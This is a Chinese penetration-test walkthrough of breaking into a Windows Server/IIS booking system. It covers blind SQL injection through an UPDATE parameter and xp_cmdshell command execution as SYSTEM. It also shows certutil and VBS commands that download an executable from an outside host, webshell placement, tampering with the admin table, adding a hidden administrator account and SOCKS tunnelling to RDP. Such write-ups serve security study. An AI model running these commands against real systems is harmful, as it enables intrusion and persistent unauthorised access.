怎么進行簡單的Win Server滲透

怎么進行簡單的Win Server滲透，針對這個問題，這篇文章詳細介紹了相對應的分析和解答，希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

0x00

對某單位的某主機系統一次滲透，敏感信息皆已打碼

目標環境Windows Server 2008 R2 + IIS7.5 + ASP.NET2.0.50727

0x01

該系統為一個預約系統，先進行端口掃描，發現開放了很多端口，其中值得注意的135, 445, 3389端口被防火墻過濾，1433端口開放。爆破1433的sa密碼往往很有難度，所以暫時先放著

0x02

手工測試功能點，fuzz發現幾乎所有的SELECT SQL參數點都不可以注入，這時可以猜到后臺使用了統一的查詢方式（參數化或ORM），所以就沒必要接著嘗試SELECT參數了，可以轉而將目光放在UPDATE或INSERT，說不定會有轉機

果然，測試后發現用戶郵箱修改處存在time-based盲注

這里對郵箱格式存在一個前端驗證，簡單繞過就可以了

之后getshell后查看源碼也證實是由于UPDATE語句沒有做參數化查詢

0x03

SQLMap一把梭，先測試是否有DBA權限
很幸運

嘗試直接使用xp_cmdshell組件執行命令，這里由于是sa用戶，所以往往對應的系統權限也很高，這里直接就是SYSTEM權限

0x04

想繼續發掘有用的信息，但發現一個問題，通過時間盲注來獲取命令回顯很慢，一條dir指令回顯幾乎需要5-10min，所以需要考慮獲取一個WebShell或Meterpreter

WebShell由于不知道絕對路徑且獲取回顯困難，所以暫且擱置

嘗試從VPS下載遠控，certuril, vbs，無一例外失敗了

// certutilcertutil -urlcache -split "http://1.1.1.1/1.exe"
// vbsecho set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> d.vbs
cscript d.vbs http://1.1.1.1/1.exe C:Windowstemp1.exe

接下來需要確定是由于下載失敗還是下載成功但被殺，嘗試下載普通文本文件————成功。

接著嘗試直接執行CS生成的ps1發現一樣失敗了，猜測是服務器的殺軟進行了動態行為的二次確認

0x05

冷靜下來再想想，接下來可以嘗試寫WebShell；或者找到SQL SERVER的配置文件，直接通過開放在公網的1433端口連接，然后xp_cmdshell執行命令（這個的回顯當然比時間盲注快多了），但找配置文件的前提還是得找到WEB目錄。通過已有的時間盲注來翻目錄怕是得找一天，所以我需要通過盡可能少的回顯來獲知絕對路徑

通過wmic先確定目標系統的所有盤符

wmic logicaldisk where DriveType=3 get DeviceID

接著通過web路徑中某些特征文件名來通配查找

for /r C: %i in (dir1dir2special_name.asp*) do @echo %i
for /r C: %i in (dir1dir2special_name.asp*) do @echo %i

這里由于回顯需要時間，就不在os-shell中復現了，通過AntSword演示

這里回顯了7個路徑，挨個嘗試echo 1> xxxx1.txt，最后確定了WEB目錄為E:Program files (x86)下的某目錄

愉快的寫入WebShell

連接

0x06

WebShell僅僅是iis權限，所以翻一翻配置文件

這個回顯就方便多了

0x07

最開始掃目錄有管理員登錄后臺，查詢管理員密碼，發現密碼是80 bytes的加密字符串

沒有找到源碼的加密函數（部分源碼只有binary沒有.cs），如果有師父知道這是什么加密，歡迎交流

最后想了想，嗯，直接把我普通用戶的加密密碼插入admin表吧

成功登錄后臺

0x08

還記得目標開了3389，嘗試連接

通過xp_cmdshell的SYSTEM權限添加用戶

net user iv4n$ xxxxxxx /add

net localgroup administrators iv4n$ /add

但防火墻限制了3389的外網訪問，嘗試通過socks代理轉發

（考慮到EXE需要免殺，所以本打算使用系統netsh組件端口轉發，連接時卻轉發異常，之后使用reGeorge訪問目標內網端口）

all seems fine, 測試一下沒問題

編輯proxychains的配置為本地4444端口的socks4代理，通過proxychains套rdesktop連接

0x09

目標系統沒有域環境，所以測試就到此為止了

關于怎么進行簡單的Win Server滲透問題的解答就分享到這里了，希望以上內容可以對大家有一定的幫助，如果你還有很多疑惑沒有解開，可以關注億速云行業資訊頻道了解更多相關知識。